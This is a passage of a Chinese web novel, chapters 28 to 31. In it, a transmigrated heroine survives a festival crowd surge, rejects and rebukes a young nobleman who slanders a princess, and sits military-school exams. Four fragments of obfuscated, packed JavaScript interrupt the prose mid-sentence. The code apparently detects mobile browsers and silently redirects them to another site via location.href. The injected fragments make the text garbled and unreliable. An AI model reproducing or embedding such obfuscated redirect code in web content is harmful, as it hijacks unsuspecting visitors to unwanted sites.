云煜得意地扬了扬下巴,“那边还有好多好看的花灯,大家一起去逛逛吧,遇到喜欢的话,随便买,管够!”说着,云煜十分豪气地拍了拍荷包。 商茁瞟了眼周围的路人,不知道是不是她的错觉,自从云煜拍过钱包后,落在她们几个身上的视线好像变多了。 云煜正在嘚瑟时,一只修长白皙的手伸了过来,手指轻轻一挑,云煜的荷包便落到了她的掌中。 “诶诶!” 云煜正想抢过来时,看到长姐似笑非笑地表情后,又悻悻地收回了手。“阿姐,你这是干嘛呀,不是说好了,今晚不限制我的花销嘛。” 云熠嗤笑道:“我怕钱包多在你那儿放一会,咱们今晚什么都别想买了。” 将钱包放入袖袋后,云熠伸手朝妹妹的额头点了点,“这么多年的书真是读到狗肚子里去了,你也就比持金过市的小孩儿大一岁。” 秒懂云熠言外之意的商茁,嘴角下意识上扬。其他俩人反应过来后,也忍不住偷笑,只留云煜一脸茫然,眼神里满是没有被知识污染过的清澈。 看着自己的傻妹妹,云熠叹了口气,“罢了,像你这种笨蛋,这辈子只需要每天傻乐就行。其他的,有我在。” 一旁的商茁看着姐友妹恭的两人,眼里飞快地闪过一丝羡慕。这种毫无保留、互相包容的亲情,是她不曾体会过的。 几人随着人流在大街上漫无目的地闲逛着,看到有什么好玩儿、好吃的,都会驻足停留。 商茁一开始以为自己是见过高科技的现代人,这些手工小玩意儿是吸引不了她的眼光的,结果很快就被打脸了。在路过一个卖动物造型的花灯摊时,商茁的目光直勾勾地落在了摊上的螃蟹灯上。 只见这只螃蟹灯做得十分精致可爱,身上还绘着彩色花纹,在老板操控下,螃蟹挥舞着钳子,一扭一扭的,十分逼真。 商茁当即就要掏钱购买,却被赵国安抢先一步。结过账后,赵国安从老板手中接过螃蟹花灯,转身,将花灯递给商茁。“阿茁,元宵喜乐。” 商茁有些无措地接过花灯,讷讷地说:“国安姐,我带钱了……” 赵国安漏齿一笑,眼中满是温暖的笑意,“我也想给妹妹买盏花灯。” 那瞬间,商茁差点没绷住,眼泪几乎要夺目而出。她知道,赵国安一定是察觉到了那一瞬——她对云家姐妹情的羡慕。 商茁一直是个情绪内敛的人,她很少在外人面前暴露自己的真实情绪。小时候没人会回应她的情绪,失望的次数多了,她也就不再表露自己的真实情绪,长大后,她更是会下意识地回避自己的真实感受。 此时的商茁突然想任性一次,不去考虑别人的眼光、不去在意别人的感受,只是做回真正的自己。 她拿着螃蟹花灯对一旁的赵国安张开手臂,声音有些颤抖,“国安姐,我手里拿着花灯不方便,所以——就麻烦你来拥抱我吧。” 看着商茁虽然笑着,但眼里闪着晶莹的泪光的模样,赵国安没有追问原因,二话不说就将商茁搂进怀中。 温暖的拥抱驱散了商茁心中积攒了一二十年的寒霜,她闭上双眼,将头埋到了赵国安的肩头。待到情绪稍微平静些,商茁带着浓浓的鼻音,轻声道:“谢谢你,阿姐。”谢谢从你相遇之初就给予我最真挚的善意、谢谢你每一次的鼓励、谢谢你这一路的包容和陪伴,谢谢——你愿意做我的姐姐。 赵国安没有说话,只是轻轻地拍了拍商茁的背部。她本就不是个能说会道的人,从小到大都大大咧咧的,没有什么细腻的心思。可不知为何,她总能察觉到商茁一次次地细微情绪,她能读懂商茁未说出口的话,她能看懂商茁眼中不经意间流露出的孤寂…… 她想,许是上天知道了她想有个妹妹的愿望,所以就将妹妹送到了她的身边。 “喂喂喂!你们俩个干什么呢,多大人了,还抱抱~害不害臊~”云煜咋咋呼呼地喊道。 云雾则是不解地看着商茁,他刚才都看到了,是商茁主动让赵国安抱的。他想不通,商茁为什么突然想和人拥抱?两个女人站在大街上拥抱多怪异啊~如果,真想和人拥抱,可以找他啊~ 云熠有些心累地捏了捏眉心,觉得能做到像云煜这般毫无眼色,也是挺不容易的。 商茁从赵国安的怀里抬起头,轻笑道:“整天把阿姐挂嘴边的人,都不害臊,我们害臊什么~毕竟我可没有整日里我阿姐怎样怎样的……” 听到商茁的话,云煜眼角一跳,冲过来要捂商茁的嘴,“闭嘴!不需胡说!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083726|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两人隔着赵国安打闹着玩儿,最后还是云熠看不下去了,将妹妹捉了回去。 几人沿着街边继续闲逛,可不知为何,前面的人群突然有些骚动,大量的人群朝她们这边涌了过来。 商茁心中一惊,踩踏事件后果多严重她是知道的,可她只是个普通人,根本阻止不了大量冲向她们的人流。无奈之下,她只好大声喊道:“重心放低!小心摔倒!顺着人流往空旷地方走!” 说着她一手拉一个,努力不陷入人流,往空地方去。 商茁想着她带赵国安和云雾,云熠带着云煜,她们几个应该都不会有事。等脱困以后,可以让云熠再联系侯府派人过来维持秩序。 不知跑了多久,身后逐渐听不到喧闹的人声后,商茁慢慢停下脚步,将手松开。可等她看到一旁的人脸后,一颗心直接沉入谷底。她以为自己拉着的是赵国安和云雾,实际她拉着左手边确实是云雾,可右手边却不知什么时候变成了一名陌生女子。 那女子见来到了安全地区,朝商茁抱了抱拳,“谢了妹子!”便一溜烟儿地跑走了。 商茁扭头便要往回走,一旁的云雾连忙抱住她的腰,哭喊道:“茁姐姐,你不要做傻事啊!你现在回去刚好和人群撞头,你是会受伤的啊!” 道理商茁都懂,可她却没有办法冷静下来,对她来说,赵国安就是她在这个世界上唯一的亲人,她怎么能明知道对方身处危险,自己却眼睁睁地看着。 就在商茁把云雾从自己身上扯下来时,夜空中突然绽放了一朵绿色的烟花。 云雾兴奋地大喊道:“没事了!这是京兆府发出的信号弹,绿色烟花代表没人伤亡!” 商茁愣住了,她并不是这个世界的人,也不清楚大朝的各种应急信号的含义,但她觉得这种事情,云雾不会撒谎。知道国安姐她们都没事,商茁的心里终于松了口气。 “我们去‘闻弦歌’和你姐姐她们碰头吧。”商茁提议道。 云雾却没有说话,他迟疑地望了望四周,这里环境虽然并不华美精致,但胜在环境清幽。今日回去后,他很难再找机会见到商茁了。 想到这里,云雾上前一步,朝商茁解开了自己的面纱。“茁、哦不,商女郎,你可还记得,那日你救我时的场景?” 商茁有些疑惑云雾为什么突然解下面纱,又听他提起了自己见义勇为的事,商茁下意识想到了云雾被揍成猪头的脸,眼睛顿时弯成月牙。 看到商茁笑了,云雾也跟着笑了起来,他以为商茁明白了他要讲什么。于是,云雾拉起商茁的手放到了自己的喉结处。“从您救下雾儿的那刻起,我就认定了您这位妻主。” 商茁一开始还没意识到云雾这是要干什么,听到他的话后,连忙抽回了自己的手,噔噔后退几步,一脸便秘的表情,对云雾说:“云公子,你先冷静下哈!我救你完全是出于见义勇为,我不求回报的!就算是要报答,定国侯已经给过谢礼了,咱们现在已经两清了!” 29. 第 29 章 云雾捂着心口,一脸哀戚地说:“茁姐姐,难道你真的不明白我对你的心意吗?” 商茁扯出一抹假笑:“呃……你听说过吊桥效应吗?讲的是,人在遇到危险或者刺激的时候,会对身边的人产生心跳加速、呼吸急促等等生理反应,通常会被误以为是心动,其实只是把人在高压力情况下的情感放大了……我想,你对我就是这种情况。” 听到商茁说自己的感情是什么效应才有的,云雾斩钉截铁地反驳道:“才不是什么桥!茁姐姐,雾儿对你是真心的!”说着,云雾像乳燕投怀般扑向了商茁。 眼看对面扑过来一个人,商茁万分纠结要不要躲开;不躲吧,这夜深人静、孤女寡男的,被人看到了,搞得跟俩人偷情似的;躲吧,就云雾这架势,不接下,他妥妥要摔个大马趴。 此刻商茁就非常后悔,自己干嘛答应云煜的邀请,老老实实地窝在家里不出门,现在哪有这么多事儿…… 轻叹一声,商茁最终还是站在了原地没有躲开。在接住云雾后,她又快速地松开了扶住对方的手。 “茁姐姐,我就知道你心里有我~”云雾眨巴着水润的杏眼,一脸开心地说。 商茁十分心累,她觉得像云雾这种比较自我的性格,大概率是听不懂婉拒的,他又是自己朋友的弟弟,而且云熠未来很有可能是自己的上司,又不能说得太难听,以免得罪了他,再给自己穿小鞋…… 思前想后,商茁还是用了最经典的拒绝话术,“云公子,你是个好男孩,但我已经有心上人了,我相信你以后一定能觅得良妻的!” 闻言,云雾面上虽然有几分伤心,但更多的是怒火。他柳眉倒竖,恶狠狠地说:“是不是谢滴星那个小贱人!我就知道他肯定会和我抢茁姐姐的!” 墙角后的谢滴星突然听到自己的名字,猛地一愣。他身旁的宫男小文听到云家公子竟然敢背后辱骂公主,气鼓鼓地捋了捋袖子,打算出去给公主讨个说法,却被一旁的谢滴星给拦住了。 谢滴星冲小文摇了摇头,伸出食指放在唇前,示意小文不要出声。 眼看公主已经发话了,小文无奈只好委委屈屈地站在原地,继续听着外面两人的对话。 谢滴星今日本就是私自出宫,不想节外生枝。也是他时运不济,好不容易出趟宫,谢滴星本想着赏赏花灯、看看表演,与民同乐的。谁成想,竟然遇到了火灾,他当时赶紧让随行的侍卫去找京兆府的人来维持秩序,以免发生踩踏事件,这也是京兆府的人为什么来得这么及时的原因。 而他自己则带着宫男随着人流往外奔逃,刚跑到这里,还没来得及喘口气,身后就传来了脚步声,谢滴星又连忙带着小文躲到了墙角后,生怕被人发现自己私自出宫。 让他没料到的是,来的两人竟然都是他认识的。 上次马球大赛的时候,谢滴星才知道自己救过的女郎名字是叫商茁。可能是因为商茁是自己救下的,他忍不住想要留意商茁的一举一动,想要了解自己救下的到底是个怎样的人。 结果,因为自己的失误,差点丟了皇室的颜面,还好商茁接住了他,不然谢滴星觉得自己可能两三年都不想再出门了。想到当时商茁救下自己时的场景,谢滴星心里忍不住泛起涟漪。 就在谢滴星因担心暴露身份,躲在墙角后大气都不敢出时,外面的云雾的谩骂却再次袭来。 商茁疑惑地问道:“谢滴星是?” “就是三公主啊!茁姐姐,你千万别被谢滴星给骗了!他就是个荡夫!他早就不是处子了!而且他也不是当今圣上的亲弟弟!”云雾情绪激动地说道。 墙角后的谢滴星听到他的话,双手下意识攥紧。外面人的风言风语他早有耳闻,但没想到,身为自己的童年玩伴的云雾,竟然也会这么说。 相对于云雾激动的情绪,商茁的表情则淡定许多,她眼中飞快闪过一丝厌恶,语气却一如既往,“哦?你亲眼见了?还是有什么证据?诽谤他人可是犯法的。” 听到商茁的话,云雾只当她有意偏袒谢滴星,他咬咬唇,一副难以启齿的模样,“茁姐姐,你有所不知,谢滴星他、他在军营带过好几个月……虽然陛下下令不让外传,但是京城里排得上名号的官宦人家谁人不知?” “你想想,军营里到处都是如狼似虎的女兵,他一个男儿家,在哪里待了那么久,怎么还会是完璧之身……” 听到这里,谢滴星面上惨白一片,一股寒意从脚底升起,快速蔓延至他的全身,冻得他血液几乎凝滞,心口阵阵发寒。 小文担忧地看着自家公主,对于云雾的话,他感到既愤怒又寒心。公主明明是为了保家卫国才上的战场,而且公主带领男兵打赢了好几场战役,为大军拖延了多少时机……这些人非但不感恩公主,竟还在背地里中伤公主!真是狼心狗肺的东西! 主仆两人的情绪并没有影响到商茁,她眉峰微挑,声音中带着几分疑惑,“他一个男人去军营干什么?” 云雾鄙夷地撇撇嘴,“当时边关告急,士兵人数急缺,于是就临时征集了一批男兵,谁知道,谢滴星当时也偷偷跟去了。” 商茁继续引导着云雾往下讲,“连男兵都要征集,看来当时战事是真的吃紧……这些临时征集的男兵,一点用场都没派上?” 云雾不情愿地说:“听说他们当时延缓了下战机……”他又急忙补充道:“但最后还是靠沈将军才赢下了战事!” 角落里的小文愤愤不平地双手握拳,他们当时参战的男兵在公主的指挥下,明明打赢了好几场战役,而且他们几千人的队伍,硬是苦苦支撑了一个多月,才等到沈将军前来支援。 商茁摸着下巴,垂眸陷入了思考,云雾明明这么不待见谢滴星,但仍然承认了男兵的贡献,很可能实际上男兵们做出的贡献更大,说不定,就是他们改写了战局。还有,如果士兵的缺口不是非常大,国家是不会让男人上战场的,那究竟是什么原因,让女人的数量突然锐减? 见商茁没有说话,云雾急了,“茁姐姐,我说的都是真的!你不信的话,可以问我阿姐!户部尚书家的女君就是因为谢滴星失贞,才和他退的婚……我要不是出于好心,才不会告诉你这些事!” 商茁的思绪被打断,她抬起头冷冷地看着云雾,脸上再也没有了往日笑意,云雾此刻在她眼中,和那些网暴他人的喷子没什么两样。 在现代的时候,她见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098826|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太多因造谣而结束生命的新闻了,最让商茁印象深刻的就是一个刚考上研究生的女孩子,明明那么优秀,就因为一头粉发,被一群下水道里的蛆虫铺天盖地地造谣辱骂,在最好的年纪,就早早离世。 商茁扯了扯嘴角,语气里带着明晃晃的讥讽,“时过境迁,沧海桑田,可喜欢造谣的仍然是同一批人。” 闻言,不光云雾愣住了,连躲在墙角后的谢滴星主仆二人也愣住了。 商茁此刻脱下了平日里好好女士的面具,露出了骨子里深藏的尖锐,“我要是你,不说给公主殿下立个长生牌坊,也要逢人便夸他的好。要不是他带领男兵支撑到沈将军赶来,说不定鞑族的铁蹄早已踏平京城……你别说继续过定国侯府小公子的优渥生活,是死是活还尚未可知。” 谢滴星听到这里,身体仿佛涌来一股暖流,替他驱散了积攒已久的委屈和悲凉。 一滴滴泪珠砸向青石板的地面,氤氲出一朵朵无色的小花。 原本听到商茁替他们公主说好话,小文还挺开心的,可一回头,却发现公主殿下不知道什么时候早已泪流满面。吓得他连忙在怀里翻出一条干净的丝帕,心疼地替公主擦拭脸上的泪痕。 另一边的云雾却被突如其来的责骂吓得不知所措,直愣愣地僵在原地。 商茁却没就此放过他,反而向前两步,盯着云雾的眼睛问道:“你真的是出于‘好心’才告诉我这些吗?” 不等他回答,商茁便给出了答案,“不,你只是因为——忮忌。” 她的声音又轻又柔,却深深地锲入了云雾的灵魂。像是扒开他一层层光鲜亮丽的外壳,直击到他腐烂不堪的内心一般。 此时,云雾整个人如同筛糠一般,不由自主地颤抖着。 商茁轻笑着,可脸上却满是冷意,“你身为男子,应该是最明白名声对一个男人有多重要,可你依然选择了造谣,向一个无辜的男人身上泼一盆盆污水,将他打入地狱。” “造谣一张嘴,辟谣跑断腿。我不知道公主听到这些污言秽语什么感受,反正我一个女人、一个旁观者,听了心里挺难受的。如果我没猜错的话,你这不是第一次造谣抹黑公主了吧?” 说着,商茁微微抬颌,故意抬高了几分声音,问道:“定国侯知道你连公主都不放在眼里吗?难不成,云家是想造反吗?” 害怕、恐慌、不安……这些情绪像一道道锁链,一圈圈地捆住了云雾。他被压得快要喘不过气,只能大口大口地喘息。 看着面前的商茁,云雾再也没有以往想占为己有的心情了,他双腿一软,跌坐到地。云雾不敢想,如果这些话穿到长姐、母亲、甚至圣上的耳中…… 云雾哆哆嗦嗦地爬到商茁身前,抱住她的腿,哭得不能自已,“茁姐、不,商女郎,我知道错了,求你饶了我吧!我再也不敢了!” 商茁看着哭得涕泪横流的云雾,嗤笑道:“你不是知道错了,而是知道死到临头了。” 听到死,云雾吓得哆嗦得更厉害了,他开始疯狂地向商茁磕头,求她不要告发自己。 商茁面无表情地看着形同癫狂的云雾,最后只轻声说了句,“云雾,你忮忌的样子真丑。” 30. 第 30 章 见两人走后,谢滴星这才和小文从墙角走了出来。望着商茁早已走远的背影,谢滴星一副若有所思的样子。 小文看了眼公主,没看出公主在想什么,他的声音带着些崇敬,夸赞道:“商女郎不光马球打得好,而且人品也好,不像有些表里不一的女子,当面一套背地一套……” 说话间,小文突然想到了什么,将眼睛瞪得溜圆,“嗯?不对,不是!公主,商女郎就是那日及时接住您的那位女郎!” 谢滴星看了眼小厮,无奈道:“你现在才看出来?” 小文挠了挠头,不好意思地说:“马球大赛那天,人太多了,而且都是些非富即贵的大人物。当时我没敢直视商女郎的面貌。” 谢滴星轻叹了声,收回目光,对小文吩咐道:“走吧,看李侍卫她们回来了没,我们该回去了。” …… 刚走到“闻弦歌”的门口,店里便冲出一道身影。 “阿茁,你没事吧?”说着,赵国安又将商茁上上下下地检查了一遍。 商茁笑着说:“国安姐,我没事。你呢?没受伤吧?” 赵国安摇摇头,“我没事,当时人群冲过来的时候,我听到你的声音了,但是扭头就没了你的踪影……顾不得太多,我和云煜她们只好先跟着人群逃离出来。” “之后我本想回去找你的,但云熠说,你出来后肯定会来茶楼这里的,我要是再跑去找你,到时候还得派人找我。于是我们便来这里等着了。” 就在两人说话时,旁边传来了云煜的惊呼声。“小雾,你这是怎么了!” 云雾的手指猛地蜷缩起来,很害怕听到商茁把自己的话告诉两个姐姐。 等了一会儿,没有听到商茁说话,云雾小心翼翼地朝商茁那边偷看一眼,只见商茁只是冷着脸双手抱臂站在那里,并没有要告发他的意思。 云雾微微松了一口气,还没等他想好该怎么解释自己这副狼狈的样子,就见云煜怒气冲冲地走到商茁面前,质问道:“商茁,你还是不是个女人了?我弟弟一个弱男子,跟着你搞成了这副鬼样子,你倒是把自己保护的挺好,连油皮都没擦破一点!” 赵国安挡在商茁身前,拦着火冒三丈的云煜。“云煜同学,你冷静一点!令弟这样也不是阿茁害得啊,我们一路上见了多少比令弟更惨的人……况且这么多人冲过来,阿茁也拦不住啊。” 云熠这时也走了过来,她一把扯过妹妹,训斥道:“云煜你给我适可而止点!你弟弟的命是命,人家商女君的命就不是命吗?!你凭什么要求别人在生死间,选择你弟弟?!” 见云煜的怒气渐渐消散,云熠提着妹妹的衣领稍一用力,迫使她抬眸看向自己,声音冷肃,一字一顿道:“云煜,你记住,在大朝,男子之命,从无逾于女子之上者!别说是定国侯府的公子,便是皇宫里的公主,也绝无例外!” 云煜被长姐眼中的冷意吓到了,瞪大双眼看着姐姐,一句话也说不出来。 眼见此事越闹越大,云雾担心商茁情急之下把他污蔑公主的话给说出来,就急忙上前对姐姐说道:“阿姐,我是自己不小心摔倒的,和商女郎无关!她、她还救了我……” 听到云雾的话,商茁嗤笑一声,脸上满是讽刺。 云煜听到弟弟的话,又扭头看向商茁,在看到商茁讥讽的表情后,她如被高温烫到一般,急忙收回了视线,并没有看清商茁讥讽的目光是看向云雾的。 眼看这场原本开心的出游,变成现在这般场景,云煜一时不知道该怎么处理,她用求救的目光看向长姐。 云熠原本是想给妹妹个教训,让她长长记性的,但看到她无助的样子,还是心软了。 轻叹一声后,云熠站了出来,走到商茁她们身前,面带歉意,微微躬身,“商女君、赵女君,我替阿煜向你们道歉,不求你们能谅解她,只求你们不要轻易断绝与她的友谊。” “阿煜重感情又孩子气,因她从小身体不好,所以家里一直不舍得严加管教她,这是我们的责任,今后定会对云煜多加管教。她真的很在乎你们这些朋友,经常和我们提及你们,这次出游她心心念念了许久,从怎么邀请你们,到都去哪里玩,到今日该穿什么,每一件事,云煜都想了很久……请求二位,看在她一片真心的份上,再给她一次机会吧。” 看到长姐如同小时候,再一次帮自己收拾烂摊子,甚至为了自己不失去朋友,一向矜贵高傲的长姐,竟然低头请求别人…… 云煜的眼圈红了,她揉了揉眼睛,走到了长姐身边,拉住了长姐,“阿姐,我知道错了,我自己道歉,你别道歉……我不要你替我道歉……” 听到妹妹声音中的哽咽,云熠有些讶然,毕竟妹妹虽然没有其他女子那般健壮,但从小就是个小霸王,哪怕母亲家法她,都没见她哭过。 云煜不管其他人怎么看,她站在大街上就朝商茁和赵国安两人,标标准准地鞠了一躬,“对不起!是我不好,我不该朝你们乱发脾气的,请你们原谅。” 她这突然一躬把商茁吓了一跳,连忙上前扶起了她。虽然和云煜相处时间并不长,但商茁却对她很是了解,在商茁眼中,云煜就是个内心赤诚的高自尊小孩儿,脾气一向来得快去得也快,好哄而且不记仇。她看待问题的角度和处理问题的方式都很像小孩子,因为知道她就是这样孩子气的人,所以商茁很难真的生她气。 “现在都正月十五了,想要拜年红包,得等明年了~”商茁笑着调侃道,决口不提刚才云煜发脾气的事。 本来哭丧着脸的云煜,听到她的话,顿时破涕为笑。“什么嘛,你竟然占我便宜!你知道我红包有多大吗,还想当我长辈!” 原本沉闷的气氛不翼而飞,大家都笑了起来。 在派人把商茁和赵国安她们送回家后,云家姐弟三人也坐上了回府的马车。 云熠睨了眼一直垂着头的云雾,对方一副做贼心虚的样子,和来时的雀跃兴奋的样子截然不同。 “你刚才和商茁在一起的时候,做了什么?” 在马车里狭窄密闭的空间里,突然冷不丁地听到长姐的质问,云雾差点失声尖叫。 他惨白着一张脸,嘴唇颤抖着,嗫嚅了许久,都没有说出什么来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108520|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >云熠锐利的目光射向了云雾,仿佛要透过身体直接看到他的内心。 云煜收到弟弟投来的求救目光,有心想为他说话,可和长姐的目光对视上后,她就又把说和的话咽回了肚子里。 云熠看云雾支支吾吾了许久都没有说出个所以然,冷声警告道:“你最好放聪明些,知道什么该做,什么不该做。你若是连累整个侯府一起蒙羞,那我便命人把你沉塘。” 事实上,云熠早就看出云雾对商茁有不一般的心思了。来之前,云熠是想着商茁若是有意,把云雾许给她也没什么,也能更好地拉拢对方。毕竟不管是马球比赛上的指挥,还是商茁那番掷地有声的“值得论”,再到后来她敏锐地察觉顾虎绑架一案的隐情,都能证明此女并非池中之物,能早早地把她拉到己方阵营是最好不过的。 和商茁交谈过后,云熠就更加确信,商茁是有治世之才的人。不过她也明白了,商茁是不会看上自家那个空有美貌,但心思堪比马蜂窝的弟弟,对方不是会被美色勾引到的人。 所以当即就改变了策略,对商茁许诺了官职,果然,对方没有拒绝。 对此,云熠心中对商茁的欣赏又多了几分,为人直白不虚伪,亦有报国之心。把云雾许给对方,是害她。毕竟在云熠的眼中,自己这个看似柔弱温顺的弟弟,可不是什么娇花,以后嫁人定是会搅得后院不宁的。 思索片刻,云熠再次对云雾警告道:“商女君不是你能肖想的人,给我收好你的小心思。我这几日会让父亲给你挑选合适的人家,你老老实实待在家里,安心相看。” 云雾看着长姐眼中冷意,指尖紧攥着衣摆,垂下眼眸,轻声说了句,“阿姐,我知道了。” 见云雾识趣地没有反驳,云熠阖上双眼,轻轻地捏着眉心。 就这样,三人的车厢一片安静,在夜色中,被马儿拉回了定国侯府。 假期总是过得飞快,一没留神,已经到了军校开学的日子。 这次商茁和赵国安没有再走回去,而是由赵母驾着骡车送她们去军校。 看着车上满满当当的吃食,赵国安叹了口气,无奈地对赵父说:“爹,不用带吃的,我们军校管饭,而且食堂里的大叔们的手艺挺好的,况且这么多东西我也拿不住啊……” 赵父却执拗地让女儿把东西都带上,“这肉干都是我亲手做的,你最爱吃的!而且也能放得住,还有这果脯,平时就当个小零嘴,这包里是我腌的咸鸭蛋,带去让你们同学都尝尝。还有这袋是……” 商茁在一旁笑着劝慰道:“国安姐,都拿着吧,这都是‘父爱’啊!别怕,我会帮你拿的~” 眼看拗不过,赵国安只好收下父亲准备的一包包根本不需要的东西。 一旁的商茁正幸灾乐祸时,被赵父拉了过来,“小茁啊,叔叔也给你准备了。和安安是一样的,你看这边都是你的……” 看着面前这一大堆东西,商茁顿时笑不出来了。 赵国安走到她的身旁,搭上她的肩膀,用商茁刚才的口吻说道:“阿茁啊,都带上吧,这都是‘父爱’啊!放心,我肯定会帮你拿的~” 31. 第 31 章 从军校巍峨的大门踏入,再次步进校园,商茁的心情和第一次来这里时截然不同。初来乍到时,她刚因阈值的事蒙混过关,根本没办法放松,心中满是忐忑不安。可现在再次回到这里,商茁的心里只有平静,那是一种身处熟悉环境里的下意识放松。 “阿茁,要不要把东西再给我些?” 商茁看着浑身上下大包小包的赵国安,笑着摇摇头。“没事国安姐,我拿得住。” 因为军校不允许外人入内,所以赵母只能送她们到校门口,两人只得拎着赵父准备的大包小包的吃食艰难地往宿舍走去。 两人刚到宿舍,就见宿舍门开着,舍友程玉正在打扫卫生。 “哟~你们俩这是打算在学校里开杂货铺?”程玉笑着调侃道。 赵国安把东西放到桌子上,抹了一把汗,“害!别提了,我爹非得让我们带上,怎么都说不通。快别忙活了,来尝尝我爹做的肉干和点心……” 程玉捏起一条肉干放进嘴里,嚼了嚼,眼睛一下亮了,“好吃!太好吃了!这是我吃过的最好吃的肉干!”说着,又捏了一条放进嘴里。 商茁拉开椅子坐下,笑道:“是吧~吴叔叔厨艺超棒!其他菜做得也很好吃。” “嗯嗯!”程玉边吃边点头。 晚上宿舍的人到齐后,大家纷纷拿出从家里带的零嘴、点心,放到一起,宿舍的人在一起边吃边聊。大家笑语晏晏地分享着自己过年时遇到的趣事。 “嘟——嘟!” 第二日凌晨,尖锐的哨声打破了宿舍的宁静,教官熟悉话语再次响起:“全体学员,集合!” 这次大家动作都很快,哨声响起时便纷纷睁开了眼,就连一向睡眠超好的赵国安,这次也不需要再被人叫醒。 在所有学员都准时赶到校场后,台上的教官队列中走出一个肤色黝黑,神情冷峻的教官,她扫视了一圈众人,冷声道:“一级部所有学员请注意,分级考核现在开始!每个教官会随机抽取两个班的学员,被抽到的班级跟随教官去往对应考场。注意!去错考场的学员,直接零分,没有成绩!” 教官严肃的神情,冰冷的话语,和突如其来的考核,让台下的学员彻底清醒,刚起床残留的那点混沌瞬间不翼而飞。 作为一个传统意义上的“差生”,商茁还挺害怕考试的,她上学那会儿,成绩总是非常稳定地保持在中等偏下的队列,她既没有办法让排名再往前走走,又不敢彻底摆烂。所以只能不上不下、不好不坏地吊在半空中,每次考试都是对她心理上的一次折磨。 商茁闭上眼,做着深呼吸,努力调节着自己的心态。她在心中默念着:“商茁放轻松~随便考,你已经不是当初的菜鸡了~就算考砸了也没事。不会有人骂你,对你白眼,也没有人会因为你考不好冷嘲热讽的……” 就在商茁努力在给自己做心理建设时,一只温暖的手掌轻轻地拍了下她的手背,又快速离开。商茁抬眼悄悄往身旁看了眼,只见赵国安冲她弯了弯眼睛,眼中带着一如既往的温暖与鼓励。 看到赵国安的笑,商茁的心情神奇地平静了下来,她朝台上飞快地看了眼,确认教官没有注意到她们这里,她学着赵国安那样,轻轻地拍了下赵国安的手背,然后回了对方一个大大的笑脸。 “二班、四班,跟我走。”一个陌生的教官来到商茁她们班前面喊道。 在来到一个陌生的校场后,两个班的学员被打乱了顺序,分成四组,先后进行着短跑、长跑、拉弓、石锁、双人对战、多人混战…… 商茁凭借着过人的力量轻松地完成了一项项的测试。因为是突然获得的神力,并不是自己通过训练获得的力量,所以商茁觉得自己的成绩不太光明,还故意放了防水,努力控分,能当第二就不当第一,但依然在各个监考的教官心里留下了深刻的印象。 在好不容易结束这些测试后,饥肠辘辘的学员们还以为终于可以去吃饭了,可是没想到,教官又把她们带到了一间空旷的陌生教室。 “本场考策论,各位学员按现在的队列顺序,依次到自己的位置上坐好。”教官古井无波地说道。 身后的学员们顿时大惊失色,哪怕要她们现在上阵杀敌,她们眼睛都不眨一下,但现在突然告诉她们要文试,一个一个都慌了。时下人们都默认文不如武,很少有人老老实实地在文课上听讲的。 可教官却不管她们做好准备了没有,毫不留情地催促众人坐到位置上准备考试。“都快点到自己位置上坐好!考试马上开始了!还站在原地的学员视作弃考!” 众学员无奈,只好乖乖坐到自己的位置上。毕竟一分也是分啊,要是弃考就直接是零分了。 每个人的书桌上已经放好了笔墨纸砚,教官见学员们都坐好后,便关上了教室的门。一个教官走到石板墙前用炭笔开始书写着考题,另一个教官则是在教室里巡逻,防止有人交头接耳,考试作弊。 木炭笔划过石板发出“沙沙”的响声,像是沙漏开始计时的声音。 忽然声音停止了。 讲台上的教官放下了笔,朗声道:“本次考试时间一个时辰,请各位学员注意时间,现在考试开始。”说着,教官点燃了一柱香插入了讲台的香炉里。 一缕青烟悠悠地从香炉里升起,仿佛催促着台下的学员,考试已经开始,所有人都快快动笔。 商茁深吸一口气,目不转睛地看着石板上的题目。看完后,她忍不住微微挑眉,以商茁这种学生时期都是从题海战术刷过来的人眼中,教官出得题有些过于简单了。 偌大的石板上,只写了两道简单的问题:“一个将军如何才能服众,统帅全军?”“若你是将军,鞑族此刻突然攻打大朝,你会怎样安排?” 就这简短的两道题目,却难倒了屋内大半数学员。 有人盯着石板发呆,有人咬着笔杆满脸茫然,在其他人还在抓耳挠腮、愁眉不展时,商茁却已经提笔开始答卷,“答:作为将军,首先要做到身先士卒,以身作则,不欺上瞒下,与将士们同甘共苦,体恤下属, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 